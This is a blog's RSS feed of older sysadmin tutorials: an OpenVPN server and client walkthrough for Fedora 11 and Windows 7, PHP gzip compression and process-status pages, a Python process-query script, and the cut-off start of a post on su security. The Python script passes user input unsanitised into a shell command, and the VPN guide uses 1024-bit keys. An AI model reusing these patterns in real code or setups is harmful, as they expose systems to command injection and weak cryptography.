<?xml version="1.0" encoding="UTF-8"?>
<!-- generator="wordpress/2.0.5" -->
<rss version="2.0" 
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	>

<channel>
	<title>Zhaoke Blog</title>
	<link>http://zhaoke.com/blog</link>
	<description>focus on Second Life, Virtual Worlds and Mobile Internet.</description>
	<pubDate>Wed, 21 Sep 2011 13:11:23 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.0.5</generator>
	<language>en</language>
			<item>
		<title>Setting up OpenVPN on Fedora Core 11 Linux and Windows 7 Ultimate 64-bit</title>
		<link>http://zhaoke.com/blog/436.html</link>
		<comments>http://zhaoke.com/blog/436.html#comments</comments>
		<pubDate>Sun, 29 Nov 2009 16:35:15 +0000</pubDate>
		<dc:creator>zhaoke</dc:creator>
		
	<dc:subject>linux</dc:subject><dc:subject>linux</dc:subject><dc:subject>openvpn</dc:subject>
		<guid isPermaLink="false">http://zhaoke.com/blog/436.html</guid>
		<description><![CDATA[
Article Last Updated: 2009-11-30 2:32PM zhaoke
OpenVPN is a free and open source virtual private network (VPN) program for creating point-to-point or server-to-multiclient encrypted tunnels between host computers.
This guide provides step-by-step instructions for how to setup an OpenVPN server and client, and you will be able to connect Windows 7 RTM 64-bit desktop computer to The [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://zhaoke.com/blog/data/2009/1130/openvpn.jpg" alt="" /></p>
<p><strong>Article Last Updated:</strong> 2009-11-30 2:32PM zhaoke</p>
<p><a href="http://openvpn.net/" target="_blank">OpenVPN</a> is a free and open source virtual private network (VPN) program for creating point-to-point or server-to-multiclient encrypted tunnels between host computers.</p>
<p>This guide provides step-by-step instructions for how to setup an OpenVPN server and client, and you will be able to connect Windows 7 RTM 64-bit desktop computer to The Fedora Core 11 Linux Server.</p>
<p>[root@islab ~]# cat /etc/redhat-release<br />
Fedora release 11 (Leonidas)</p>
<p>[root@islab ~]# rpm -qa|grep openvpn<br />
openvpn-2.1-0.32.rc15.fc11.i586</p>
<p><img src="http://zhaoke.com/blog/data/2009/1130/windows7.jpg" alt="" /></p>
<p><img src="http://zhaoke.com/blog/data/2009/1130/openvpngui.jpg" alt="" /></p>
<p><strong>1. Installing OpenVPN 2.1 Server on Fedora Core 11 Linux</strong></p>
<p><strong>1.1 Preparing the Network</strong></p>
<p>The server ip is 210.77.100.1, running Fedora Core 11 Linux with OpenVPN 2.1, The Desktop has a dynamic IP address, running Windows RTM 64-bit with OpenVPN GUI 1.0.3.</p>
<p>Linux DNS Settings:</p>
<p>[root@islab ~]# cat /etc/resolv.conf<br />
; generated by /sbin/dhclient-script<br />
nameserver 210.77.102.5<br />
nameserver 210.77.103.5</p>
<p><strong>1.2 Preparing the System</strong></p>
<p>OpenVPN installation on Fedora makes use of the yum, wget and rpm commands assume you installed both yum and rpm. Log in as the root user and issue the following command:</p>
<p>[root@islab ~]# yum update;yum install wget -y</p>
<p>Futhermore get a few additional packages:</p>
<p>openssl<br />
openssl-devel<br />
lzo<br />
lzo-devel<br />
pam<br />
pam-devel<br />
<a id="more-436"></a><br />
[root@islab ~]# yum install openssl openssl-devel lzo lzo-devel pam pam-devel -y</p>
<p>OpenVPN connects two tun devices on different machines using udp or tcp packets. so make sure a tun virtual device driver exists(surely, fedora core linux 11 support TUN/TAP Devices):</p>
<p>[root@islab ~]# cat /proc/net/dev|grep tun </p>
<p>if show nothing, indicates that your kernel does not have TUN/TAP support compiled in. Rebuild your kernel with the appropriate configuration.</p>
<p>check your kernel config file for CONFIG_TUN=m or CONFIG_TUN=y</p>
<p>[root@islab ~]# grep &#8220;TUN&#8221; /usr/src/linux/.config</p>
<p>CONFIG_TUN=m or<br />
CONFIG_TUN=y </p>
<p>Fore more information about enabling linux kernel support for TUN/TAP devices, please reference:<br />
<a href="http://www.installationwiki.org/OpenVPN#Enabling_Linux_kernel_support_for_TUN.2FTAP_devices" target="_blank">http://www.installationwiki.org/OpenVPN#Enabling_Linux_kernel_support_for_TUN.2FTAP_devices</a></p>
<p><strong>1.3 Installing OpenVPN Server</strong></p>
<p>With above steps now complete, it&#8217;s time to install it. Follow these steps:</p>
<p>[root@islab ~]# yum install openvpn -y</p>
<p><strong>1.4 Generate the Master CA key:</strong></p>
<p>[root@islab ~]# cp -ai /usr/share/openvpn/easy-rsa/2.0 ~/easy-rsa<br />
[root@islab ~]# cd ~/easy-rsa<br />
[root@islab ~]# pwd<br />
/root/easy-rsa</p>
<p>[root@islab ~]# mkdir /etc/openvpn/keys<br />
[root@islab ~]# cp -ai ~/easy-rsa/keys/* /etc/openvpn/keys<br />
[root@islab ~]# . ./vars<br />
Notes: there&#8217;s a space between the dot.<br />
<img src="http://zhaoke.com/blog/data/2009/1130/dotspacedot.jpg" alt="" /><br />
[root@islab ~]# ./clean-all</p>
<p>Creating a shell script to set the values of some user-defined environment variables that used in generating the key. I create a file named genvars_ca, and it contains the following contents:</p>
<p><code>export KEY_CONFIG=/root/easy-rsa/openssl.cnf<br />
export KEY_DIR=/etc/openvpn/keys<br />
export KEY_SIZE=1024<br />
export KEY_COUNTRY=CN<br />
export KEY_PROVINCE=BJ<br />
export KEY_CITY=BJ<br />
export KEY_ORG="islab.org"<br />
export KEY_EMAIL="youremail@yourcompany.com"<br />
exec $SHELL -i</code></p>
<p><a href="http://zhaoke.com/blog/data/2009/1130/genvars_ca" target="_blank">http://zhaoke.com/blog/data/2009/1130/genvars_ca</a></p>
<p>Ensure that you chmod your script to allow execute permissions:<br />
[root@islab ~]# chmod +x genvars_ca</p>
<p>Run your script:<br />
[root@islab ~]# ./genvars_ca</p>
<p>Make sure you used this command to verify your shell changes:<br />
[root@islab ~]# env|grep KEY</p>
<p><img src="http://zhaoke.com/blog/data/2009/1130/env_grep.jpg" alt="" /></p>
<p>Next, initialize the PKI:<br />
[root@islab ~]# ./build-ca<br />
Output:</p>
<p>Generating a 1024 bit RSA private key<br />
&#8230;&#8230;&#8230;.++++++<br />
&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;..++++++<br />
writing new private key to &#8216;ca.key&#8217;<br />
&#8212;&#8211;<br />
You are about to be asked to enter information that will be incorporated<br />
into your certificate request.<br />
What you are about to enter is what is called a Distinguished Name or a DN.<br />
There are quite a few fields but you can leave some blank<br />
For some fields there will be a default value,<br />
If you enter &#8216;.&#8217;, the field will be left blank.<br />
&#8212;&#8211;<br />
Country Name (2 letter code) [CN]:<br />
State or Province Name (full name) [BJ]:<br />
Locality Name (eg, city) [BJ]:<br />
Organization Name (eg, company) [islab.org]:<br />
Organizational Unit Name (eg, section) []:<br />
Common Name (eg, your name or your server&#8217;s hostname) [islab.org CA]:<br />
Name []:<br />
Email Address [youremail@yourcompany.com]:</p>
<p><strong>1.5 Generate key for server:</strong></p>
<p>Note that just hit enter with most parameters, except common name enter &#8220;server&#8221;.</p>
<p>[root@islab ~]# ./build-key-server server<br />
Output:</p>
<p>Generating a 1024 bit RSA private key<br />
&#8230;&#8230;..++++++<br />
.++++++<br />
writing new private key to &#8217;server.key&#8217;<br />
&#8212;&#8211;<br />
You are about to be asked to enter information that will be incorporated<br />
into your certificate request.<br />
What you are about to enter is what is called a Distinguished Name or a DN.<br />
There are quite a few fields but you can leave some blank<br />
For some fields there will be a default value,<br />
If you enter &#8216;.&#8217;, the field will be left blank.<br />
&#8212;&#8211;<br />
Country Name (2 letter code) [CN]:<br />
State or Province Name (full name) [BJ]:<br />
Locality Name (eg, city) [BJ]:<br />
Organization Name (eg, company) [islab.org]:<br />
Organizational Unit Name (eg, section) []:<br />
Common Name (eg, your name or your server&#8217;s hostname) [server]:<br />
Name []:<br />
Email Address [youremail@yourcompany.com]:</p>
<p>Please enter the following &#8216;extra&#8217; attributes<br />
to be sent with your certificate request<br />
A challenge password []:zhaoke.com<br />
An optional company name []:zhaoke.com<br />
Using configuration from /root/easy-rsa/openssl.cnf<br />
Check that the request matches the signature<br />
Signature ok<br />
The Subject&#8217;s Distinguished Name is as follows<br />
countryName           : PRINTABLE:&#8217;CN&#8217;<br />
stateOrProvinceName   : PRINTABLE:&#8217;BJ&#8217;<br />
localityName           : PRINTABLE:&#8217;BJ&#8217;<br />
organizationName      : PRINTABLE:&#8217;islab.org&#8217;<br />
commonName            : PRINTABLE:&#8217;server&#8217;<br />
emailAddress          : IA5STRING:&#8217;youremail@yourcompany.com&#8217;<br />
Certificate is to be certified until Nov 27 13:49:01 2019 GMT (3650 days)<br />
Sign the certificate? [y/n]:y</p>
<p>1 out of 1 certificate requests certified, commit? [y/n]y<br />
Write out database with 1 new entries<br />
Data Base Updated</p>
<p><strong>1.6 Generate key for client:</strong></p>
<p>As above, common name must be unique, if you have more clients, for each client, enter like as below:<br />
./build-key client1<br />
./build-key client2<br />
&#8230;</p>
<p>Now let&#8217;s generate key for one client:</p>
<p>[root@islab ~]# ./build-key client<br />
Output:</p>
<p>Generating a 1024 bit RSA private key<br />
&#8230;&#8230;++++++<br />
&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;.++++++<br />
writing new private key to &#8216;client.key&#8217;<br />
&#8212;&#8211;<br />
You are about to be asked to enter information that will be incorporated<br />
into your certificate request.<br />
What you are about to enter is what is called a Distinguished Name or a DN.<br />
There are quite a few fields but you can leave some blank<br />
For some fields there will be a default value,<br />
If you enter &#8216;.&#8217;, the field will be left blank.<br />
&#8212;&#8211;<br />
Country Name (2 letter code) [CN]:<br />
State or Province Name (full name) [BJ]:<br />
Locality Name (eg, city) [BJ]:<br />
Organization Name (eg, company) [islab.org]:<br />
Organizational Unit Name (eg, section) []:<br />
Common Name (eg, your name or your server&#8217;s hostname) [client]:<br />
Name []:<br />
Email Address [dns-manager@islab.org]:</p>
<p>Please enter the following &#8216;extra&#8217; attributes<br />
to be sent with your certificate request<br />
A challenge password []:zhaoke.com<br />
An optional company name []:zhaoke.com<br />
Using configuration from /root/easy-rsa/openssl.cnf<br />
Check that the request matches the signature<br />
Signature ok<br />
The Subject&#8217;s Distinguished Name is as follows<br />
countryName           : PRINTABLE:&#8217;CN&#8217;<br />
stateOrProvinceName   : PRINTABLE:&#8217;BJ&#8217;<br />
localityName          : PRINTABLE:&#8217;BJ&#8217;<br />
organizationName      : PRINTABLE:&#8217;islab.org&#8217;<br />
commonName            : PRINTABLE:&#8217;client&#8217;<br />
emailAddress          : IA5STRING:&#8217;youremail@yourcompany.com&#8217;<br />
Certificate is to be certified until Nov 27 13:57:06 2019 GMT (3650 days)<br />
Sign the certificate? [y/n]:y</p>
<p>1 out of 1 certificate requests certified, commit? [y/n]y<br />
Write out database with 1 new entries</p>
<p><strong>1.7 Generate Diffie Hellman parameters:</strong></p>
<p>[root@islab ~]# ./build-dh<br />
Output:</p>
<p>Generating DH parameters, 1024 bit long safe prime, generator 2<br />
This is going to take a long time<br />
&#8230;&#8230;+&#8230;.+&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;..++*++*++*</p>
<p><strong>1.8 Creating and Editing the server configuration file:</strong></p>
<p>Copy roadwarrior-server.conf to /etc/openvpn/ and edit appropriately<br />
[root@islab ~]# cp -ai /usr/share/doc/openvpn-*/sample-config-files/roadwarrior-server.conf /etc/openvpn/server.conf</p>
<p><code>port 1194<br />
proto udp<br />
dev tun<br />
ca keys/ca.crt<br />
cert keys/server.crt<br />
key keys/server.key<br />
dh keys/dh1024.pem</p>
<p>server 172.6.1.0 255.255.255.0<br />
push "redirect-gateway"<br />
push "dhcp-option DNS 210.77.102.5"<br />
push "dhcp-option DNS 210.77.103.5"<br />
client-to-client</p>
<p>keepalive 10 120<br />
comp-lzo<br />
persist-key<br />
persist-tun<br />
status server-udp_status.log<br />
verb 4</code></p>
<p>Download server.conf from here:<br />
<a href="http://zhaoke.com/blog/data/2009/1130/server.conf" target="_blank">http://zhaoke.com/blog/data/2009/1130/server.conf</a><br />
or wget http://zhaoke.com/blog/data/2009/1130/server.conf</p>
<p><strong>1.9 Running the VPN server:</strong><br />
<code>[root@islab ~]# chkconfig --level 2345 openvpn on</code><br />
<code>[root@islab ~]# service openvpn start</code><br />
Make sure UDP port 1194 is open on the server:<br />
[root@islab ~]# lsof -i:1194<br />
COMMAND   PID USER   FD   TYPE DEVICE SIZE NODE NAME<br />
openvpn 31758 root    5u  IPv4 398062       UDP *:openvpn</p>
<p>Then enable IP forwarding:<br />
[root@islab ~]# echo 1 > /proc/sys/net/ipv4/ip_forward</p>
<p>Configure Firewall and NAT:</p>
<p><code>[root@islab ~]# iptables -t nat -A POSTROUTING -s 172.6.1.0/24 -o eth0 -j SNAT --to-source 210.77.100.1</code></p>
<p>saving iptables rules:<br />
[root@islab ~]# service iptables save<br />
iptables: Saving firewall rules to /etc/sysconfig/iptables: [  OK  ]</p>
<p>if iptables is not installed, just run:<br />
[root@islab ~]# yum install iptables;service iptables start</p>
<p><strong>2. Installing OpenVPN GUI on windows 7 64-bit</strong></p>
<p>The latest verion of OpenVPN GUI support windows 7 64-bit, just download it from here:<br />
<a href="http://openvpn.se/download.html" target="_blank">http://openvpn.se/download.html</a></p>
<p>Then you need to copy these keys to your desktop computer via your OpenVPN server:</p>
<p>On server-side:</p>
<p>[root@islab ~]# mkdir -p ~/client<br />
[root@islab ~]# cd /etc/openvpn/keys<br />
[root@islab ~]# cp -ai client.{crt,key,csr} ca.{crt,key} ~/client</p>
<p>Creating and editing the client configuration file:</p>
<p>Copy roadwarrior-server.conf to /etc/openvpn/ and edit appropriately<br />
[root@islab ~]#cp -ai /usr/share/doc/openvpn-*/sample-config-files/roadwarrior-server.conf /etc/openvpn/client.conf</p>
<p><code>client<br />
dev tun<br />
proto udp </p>
<p>remote 210.77.100.1 1194 </p>
<p>nobind<br />
persist-key<br />
persist-tun<br />
ca ca.crt<br />
cert client.crt<br />
key client.key<br />
ns-cert-type server<br />
comp-lzo<br />
verb 4</code></p>
<p>Download ovpn.conf from here:<br />
<a href="http://zhaoke.com/blog/data/2009/1130/ovpn.conf" target="_blank">http://zhaoke.com/blog/data/2009/1130/ovpn.conf</a></p>
<p>Rename the file client.conf to client.ovpn and move it to ~/client directory:<br />
[root@islab ~]# cd /etc/openvpn<br />
[root@islab ~]# mv client.conf client.ovpn<br />
[root@islab ~]# cp -ai /etc/openvpn/client.ovpn ~/client</p>
<p>Compress the folder &#8220;~/client&#8221; and transfer it to local directory C:\Program Files (x86)\OpenVPN\config\ on the client:</p>
<p>[root@islab ~]# cd ~<br />
[root@islab ~]# tar cvf client.tar client/<br />
[root@islab ~]# mv client.tar ../public_html<br />
then grab client.tar from your windows browser and uncompressed it to config directory.</p>
<p><img src="http://zhaoke.com/blog/data/2009/1130/openvpngui_config.jpg" alt="" /></p>
<p><strong>Remember</strong> to set the compatibility with OpenVPN GUI(right click > Properties > Compatibility tab), and set it to run as an administrator.</p>
<p><img src="http://zhaoke.com/blog/data/2009/1130/set_pri.jpg" alt="" /></p>
<p>Now connect to your vpn server, right-click the OpenVPN GUI and click connect. if the OpenVPN icon in the taskbar turn green, you are connected to VPN.</p>
<p><img src="http://zhaoke.com/blog/data/2009/1130/openvpn_connected.jpg" alt="" /></p>
<p>You can successfully ping 172.6.1.1:</p>
<p><img src="http://zhaoke.com/blog/data/2009/1130/ping_test.jpg" alt="" />
</p>
Keyword: <a href="http://zhaoke.com/blog/tag/linux" rel="tag">linux</a>, <a href="http://zhaoke.com/blog/tag/openvpn" rel="tag">openvpn</a><a href="http://zhaoke.com/blog/tag/linux" rel="tag">linux</a>, <a href="http://zhaoke.com/blog/tag/openvpn" rel="tag">openvpn</a>]]></content:encoded>
			<wfw:commentRss>http://zhaoke.com/blog/436.html/feed/</wfw:commentRss>
		</item>
		<item>
		<title>通过PHP网页查看服务器上进程的状态</title>
		<link>http://zhaoke.com/blog/233.html</link>
		<comments>http://zhaoke.com/blog/233.html#comments</comments>
		<pubDate>Thu, 28 Feb 2008 23:49:32 +0000</pubDate>
		<dc:creator>zhaoke</dc:creator>
		
	<dc:subject>linux</dc:subject><dc:subject>islab</dc:subject><dc:subject>linux</dc:subject><dc:subject>易思社区</dc:subject>
		<guid isPermaLink="false">http://blog.zhaoke.com/233.html</guid>
		<description><![CDATA[
网址:
http://xen.islab.org/test/ps.php
上面网页提供了两个实例:
1. 查看当前http活动连接数.
2. 查看httpd进程的状态.
注: 输出数据每隔15秒钟刷新一次.

Keyword: islab, linux, 易思社区islab, linux, 易思社区]]></description>
			<content:encoded><![CDATA[<p><img src="http://blog.zhaoke.com/data/2008/0229/httpd_status.jpg" alt="" /></p>
<p><strong>网址:</strong><br />
<a href="http://xen.islab.org/test/ps.php" target="_blank">http://xen.islab.org/test/ps.php</a></p>
<p>上面网页提供了两个实例:</p>
<p>1. 查看当前http活动连接数.<br />
2. 查看httpd进程的状态.</p>
<p>注: 输出数据每隔15秒钟刷新一次.
</p>
Keyword: <a href="http://zhaoke.com/blog/tag/islab" rel="tag">islab</a>, <a href="http://zhaoke.com/blog/tag/linux" rel="tag">linux</a>, <a href="http://zhaoke.com/blog/tag/%E6%98%93%E6%80%9D%E7%A4%BE%E5%8C%BA" rel="tag">易思社区</a><a href="http://zhaoke.com/blog/tag/islab" rel="tag">islab</a>, <a href="http://zhaoke.com/blog/tag/linux" rel="tag">linux</a>, <a href="http://zhaoke.com/blog/tag/%E6%98%93%E6%80%9D%E7%A4%BE%E5%8C%BA" rel="tag">易思社区</a>]]></content:encoded>
			<wfw:commentRss>http://zhaoke.com/blog/233.html/feed/</wfw:commentRss>
		</item>
		<item>
		<title>压缩php构建的网站: 部署和测试</title>
		<link>http://zhaoke.com/blog/228.html</link>
		<comments>http://zhaoke.com/blog/228.html#comments</comments>
		<pubDate>Sat, 23 Feb 2008 14:05:40 +0000</pubDate>
		<dc:creator>zhaoke</dc:creator>
		
	<dc:subject>linux</dc:subject><dc:subject>gzhandler</dc:subject><dc:subject>linux</dc:subject><dc:subject>php</dc:subject><dc:subject>zlib</dc:subject>
		<guid isPermaLink="false">http://blog.zhaoke.com/228.html</guid>
		<description><![CDATA[
本文主要介绍如何在php网页中使用ob_start()和ob_gzhandler()函数压缩网页, 并测试压缩效果. 
1. 准备
首先查看php是否支持zlib module, 检查phpinfo()信息或者拷贝下面代码到info.php中:
[code]

[/code]
然后把info.php上传到您的web服务器上, 打开您的浏览器, 访问info.php网页, 查看zlib部分. 如果zlib已安装, 如下图所示:


另外注意服务器上的PHP版本要在4.0.6或者以上版本, 否则您将不能成功使用本文的方法成功压缩PHP网页.
2. 部署
你仅需要拷贝下面代码到test.php中, 然后上传到web服务器上:
[code]





网页压缩成功!


[/code]
实例(压缩):
http://islab.org/test/080223/test.php
实例(未压缩):
http://islab.org/test/080223/test_uncompress.php
3. 测试
实例(压缩):
http://islab.org/test/080223/test.php
测试结果:
URL Compression Report
URL Downloaded:
http://islab.org/test/080223/test.php
Document Status: Compressed
Compressed File Size: 79
Is PipeBoost Customer: NO
File Is already being served by HTTP Compression Software. No analysis has been done.
Original File Size: 67
Original File Size Reduction: 8.96% 
Header Value
Date  Sat, 23 Feb 2008 13:48:01 GMT
Server [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://blog.zhaoke.com/data/2008/0223/compress.jpg" alt="" /></p>
<p>本文主要介绍如何在php网页中使用ob_start()和ob_gzhandler()函数压缩网页, 并测试压缩效果. </p>
<p><strong>1. 准备</strong></p>
<p>首先查看php是否支持zlib module, 检查phpinfo()信息或者拷贝下面代码到info.php中:</p>
<p>[code]<br />
<?php<br />
phpinfo();<br />
?><br />
[/code]</p>
<p>然后把info.php上传到您的web服务器上, 打开您的浏览器, 访问info.php网页, 查看zlib部分. 如果zlib已安装, 如下图所示:<br />
<a id="more-228"></a><br />
<img src="http://blog.zhaoke.com/data/2008/0223/check_zlib.gif" alt="" /></p>
<p>另外注意服务器上的PHP版本要在4.0.6或者以上版本, 否则您将不能成功使用本文的方法成功压缩PHP网页.</p>
<p><strong>2. 部署</strong></p>
<p>你仅需要拷贝下面代码到test.php中, 然后上传到web服务器上:<br />
[code]<br />
<?php<br />
ob_start( 'ob_gzhandler' );<br />
?><br />
<html><br />
<head><br />
</head><br />
<body></p>
<p>网页压缩成功!</p>
<p></body><br />
</html><br />
[/code]<br />
实例(压缩):<br />
<a href="http://islab.org/test/080223/test.php"  target="_blank">http://islab.org/test/080223/test.php</a></p>
<p>实例(未压缩):<br />
<a href="http://islab.org/test/080223/test_uncompress.php" target="_blank">http://islab.org/test/080223/test_uncompress.php</a></p>
<p><strong>3. 测试</strong></p>
<p>实例(压缩):<br />
<a href="http://islab.org/test/080223/test.php" target="_blank">http://islab.org/test/080223/test.php</a></p>
<p>测试结果:<br />
URL Compression Report</p>
<p>URL Downloaded:<br />
http://islab.org/test/080223/test.php</p>
<p>Document Status: Compressed</p>
<p>Compressed File Size: 79<br />
Is PipeBoost Customer: NO<br />
File Is already being served by HTTP Compression Software. No analysis has been done.<br />
Original File Size: 67<br />
Original File Size Reduction: 8.96% </p>
<p>Header Value<br />
Date  Sat, 23 Feb 2008 13:48:01 GMT<br />
Server  Apache<br />
Content-Encoding  gzip<br />
Vary  Accept-Encoding<br />
Keep-Alive  timeout=15, max=100<br />
Connection  Keep-Alive<br />
Transfer-Encoding  chunked<br />
Content-Type  text/html</p>
<p>实例(未压缩):<br />
<a href="http://islab.org/test/080223/test_uncompress.php" target="_blank">http://islab.org/test/080223/test_uncompress.php</a></p>
<p>URL Downloaded:<br />
http://islab.org/test/080223/test_uncomp<br />
ress.php</p>
<p>Document Status: Uncompressed</p>
<p>Uncompressed File Size: 63<br />
Compressed File Size: 68<br />
Compression CPU Time Consumption: < 10 ms.<br />
Compression Ratio: 9 - Highest<br />
*File Size Reduction: -7.94%<br />
Downloads Speed Improvement: -7%<br />
*Please note, that URL Compression Report will not process frames, entry redirect pages, Java Script includes and Style Sheets. Please specify exact URL location if you want to get very specific results. </p>
<p>Downloaded HTTP Headers:</p>
<p>Header Value<br />
Date  Sat, 23 Feb 2008 13:50:13 GMT<br />
Server  Apache<br />
Keep-Alive  timeout=15, max=100<br />
Connection  Keep-Alive<br />
Transfer-Encoding  chunked<br />
Content-Type  text/html</p>
<p><strong>4. 小结</strong><br />
1). 从上面测试结果我们可以看到采用压缩后的PHP网页, 大小由原来的79字节减少到67字节.<br />
2). 我们访问压缩后的PHP网页, 访问速度有所提高, 从而也减少了总的数据流量.<br />
3). 由于图片本身是经过压缩的(比如gif, jpg, 等等), 该方法对图片不会有任何影响.
</p>
Keyword: <a href="http://zhaoke.com/blog/tag/gzhandler" rel="tag">gzhandler</a>, <a href="http://zhaoke.com/blog/tag/linux" rel="tag">linux</a>, <a href="http://zhaoke.com/blog/tag/php" rel="tag">php</a>, <a href="http://zhaoke.com/blog/tag/zlib" rel="tag">zlib</a><a href="http://zhaoke.com/blog/tag/gzhandler" rel="tag">gzhandler</a>, <a href="http://zhaoke.com/blog/tag/linux" rel="tag">linux</a>, <a href="http://zhaoke.com/blog/tag/php" rel="tag">php</a>, <a href="http://zhaoke.com/blog/tag/zlib" rel="tag">zlib</a>]]></content:encoded>
			<wfw:commentRss>http://zhaoke.com/blog/228.html/feed/</wfw:commentRss>
		</item>
		<item>
		<title>使用Python脚本查看Linux上的进程信息</title>
		<link>http://zhaoke.com/blog/169.html</link>
		<comments>http://zhaoke.com/blog/169.html#comments</comments>
		<pubDate>Thu, 06 Sep 2007 13:24:08 +0000</pubDate>
		<dc:creator>zhaoke</dc:creator>
		
	<dc:subject>linux</dc:subject><dc:subject>linux</dc:subject><dc:subject>process</dc:subject>
		<guid isPermaLink="false">http://blog.zhaoke.com/169.html</guid>
		<description><![CDATA[
平台: Python 2.4.4, Fedora Core 6
Python是一门易学, 开源的脚本语言, 下面介绍使用Python脚本查看Linux上的进程信息.
Python模块是Python语言中的一个重要概念,比如commands模块主要封装了命令相应的方法及数据. 我们可以通过import指令导入模块. 下面实例中用到了命令, 系统和字符串模块.
Queryprocess.py的主要功能是查看Linux上指定进程的控制终端(tty), 所有者(uid), 进程号(pid), 父进程号(ppid)和进程开始运行时间(stime).
创建python脚本文件queryprocess.py

islab$ vi queryprocess.py
增加下面源代码到queryproces.py中
#!/usr/bin/env python
# Query process returns the following information: tty, uid, pid, ppid and stime.
import commands, os, string
program = raw_input(&#8221;Enter the name of your process to query: &#8220;)
try:
    #excute the ps command and assign results to a list
 [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://blog.zhaoke.com/data/2007/0906/py.gif" alt="" /></p>
<p>平台: Python 2.4.4, Fedora Core 6</p>
<p>Python是一门易学, 开源的脚本语言, 下面介绍使用Python脚本查看Linux上的进程信息.</p>
<p>Python模块是Python语言中的一个重要概念,比如commands模块主要封装了命令相应的方法及数据. 我们可以通过import指令导入模块. 下面实例中用到了命令, 系统和字符串模块.</p>
<p>Queryprocess.py的主要功能是查看Linux上指定进程的控制终端(tty), 所有者(uid), 进程号(pid), 父进程号(ppid)和进程开始运行时间(stime).</p>
<p>创建python脚本文件queryprocess.py<br />
<a id="more-169"></a><br />
islab$ vi queryprocess.py</p>
<p>增加下面源代码到queryproces.py中</p>
<p>#!/usr/bin/env python<br />
# Query process returns the following information: tty, uid, pid, ppid and stime.</p>
<p>import commands, os, string</p>
<p>program = raw_input(&#8221;Enter the name of your process to query: &#8220;)</p>
<p>try:<br />
    #excute the ps command and assign results to a list<br />
    output = commands.getoutput(&#8221;ps -ef|grep &#8221; + program)<br />
    proginfo = string.split(output)</p>
<p>    #display results<br />
    print &#8220;\n\<br />
    Terminal:\t\t&#8221;, proginfo[5], &#8220;\n\<br />
    Owning User:\t\t\t&#8221;, proginfo[0], &#8220;\n\<br />
    Process ID:\t\t&#8221;, proginfo[1], &#8220;\n\<br />
    Parent Process ID:\t&#8221;, proginfo[2], &#8220;\n\<br />
    System Time:\t\t&#8221;, proginfo[4]<br />
except:<br />
    print &#8220;There is a problem with the process u are querying.&#8221;</p>
<p>运行querprocess.py<br />
islab$ chmod +x queryprocess.py<br />
islab$ ./queryprocess.py<br />
Enter the name of your process to query: syslogd</p>
<p>Terminal: ?<br />
Owning User: root<br />
Process ID: 2387<br />
Parent Process ID: 1<br />
System Time: Aug09</p>
<p>从上面结果我们看到syslogd进程的所有者是root用户, 进程号为2387, 父进程号是1, 进程开始运行时间是8月9日.</p>
<p>同样我们也可以linux命令行运行下面命令获得上面信息:</p>
<p>islab$ ps -ef|grep syslogd<br />
root      2387     1  0 Aug09 ?        00:00:01 syslogd -m 0</p>
<p><img src="http://blog.zhaoke.com/data/2007/0906/queryprocess.gif" alt="" /></p>
<p>对比两种方法的执行结果后我们可以看到用python能够更加友好的输出信息.
</p>
Keyword: <a href="http://zhaoke.com/blog/tag/linux" rel="tag">linux</a>, <a href="http://zhaoke.com/blog/tag/process" rel="tag">process</a><a href="http://zhaoke.com/blog/tag/linux" rel="tag">linux</a>, <a href="http://zhaoke.com/blog/tag/process" rel="tag">process</a>]]></content:encoded>
			<wfw:commentRss>http://zhaoke.com/blog/169.html/feed/</wfw:commentRss>
		</item>
		<item>
		<title>linux上su的几点安全建议</title>
		<link>http://zhaoke.com/blog/161.html</link>
		<comments>http://zhaoke.com/blog/161.html#comments</comments>
		<pubDate>Sat, 01 Sep 2007 15:34:27 +0000</pubDate>
		<dc:creator>zhaoke</dc:creator>
		
	<dc:subject>linux</dc:subject><dc:subject>linux</dc:subject><dc:subject>security</dc:subject><dc:subject>su</dc:subject>
		<guid isPermaLink="false">http://blog.zhaoke.com/161.html</guid>
		<description><![CDATA[平台: Fedora Core release 6
基础:
首先我们看su在man帮助页中的解释su - run a shell with substitute user and group IDs, 也就是说通过su我们不用提供用户和组名就可以启动一个shell程序. su是一个二进制的可执行文件, 命令所在的文件路径是/bin/su, 下面是通过命令行查询su文件的类型及所在路径:
例一:
islab$ which su
/bin/su
例二:
islab$ file /bin/su
/bin/su: setuid ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), for GNU/Linux  2.6.9, stripped

例三:
islab$ll /bin/su
-rwsr-xr-x 1 root root 24060 Jan 10  2007 /bin/su
例三和例二中我们可以看到su是一个setuid程序(setuid位可以使用chmod u+s进行设置, 如ls显示su文件所有者属性起用了setuid位), 在这种情况下, su可以获得比其所有者更高的权限, 也就是说su运行的时候, 您的权限会被提升, [...]]]></description>
			<content:encoded><![CDATA[<p>平台: Fedora Core release 6</p>
<p>基础:</p>
<p>首先我们看su在man帮助页中的解释su - run a shell with substitute user and group IDs, 也就是说通过su我们不用提供用户和组名就可以启动一个shell程序. su是一个二进制的可执行文件, 命令所在的文件路径是/bin/su, 下面是通过命令行查询su文件的类型及所在路径:</p>
<p>例一:<br />
islab$ which su<br />
/bin/su</p>
<p>例二:<br />
islab$ file /bin/su<br />
/bin/su: setuid ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), for GNU/Linux  2.6.9, stripped<br />
<a id="more-161"></a><br />
例三:<br />
islab$ll /bin/su<br />
-rwsr-xr-x 1 root root 24060 Jan 10  2007 /bin/su</p>
<p>例三和例二中我们可以看到su是一个setuid程序(setuid位可以使用chmod u+s进行设置, 如ls显示su文件所有者属性起用了setuid位), 在这种情况下, su可以获得比其所有者更高的权限, 也就是说su运行的时候, 您的权限会被提升, 将与root的权限等同. </p>
<p>例三中我们可以看到文件的类型是ELF 32-bit LSB shared object(设置了setuid位), 也就是说程序需要libc这样的函数库, 也需要使用了ELF解释器, 并遵守LSB 规范.</p>
<p><strong>问一:</strong> 普通用户可以从其它机器拷贝su命令.<br />
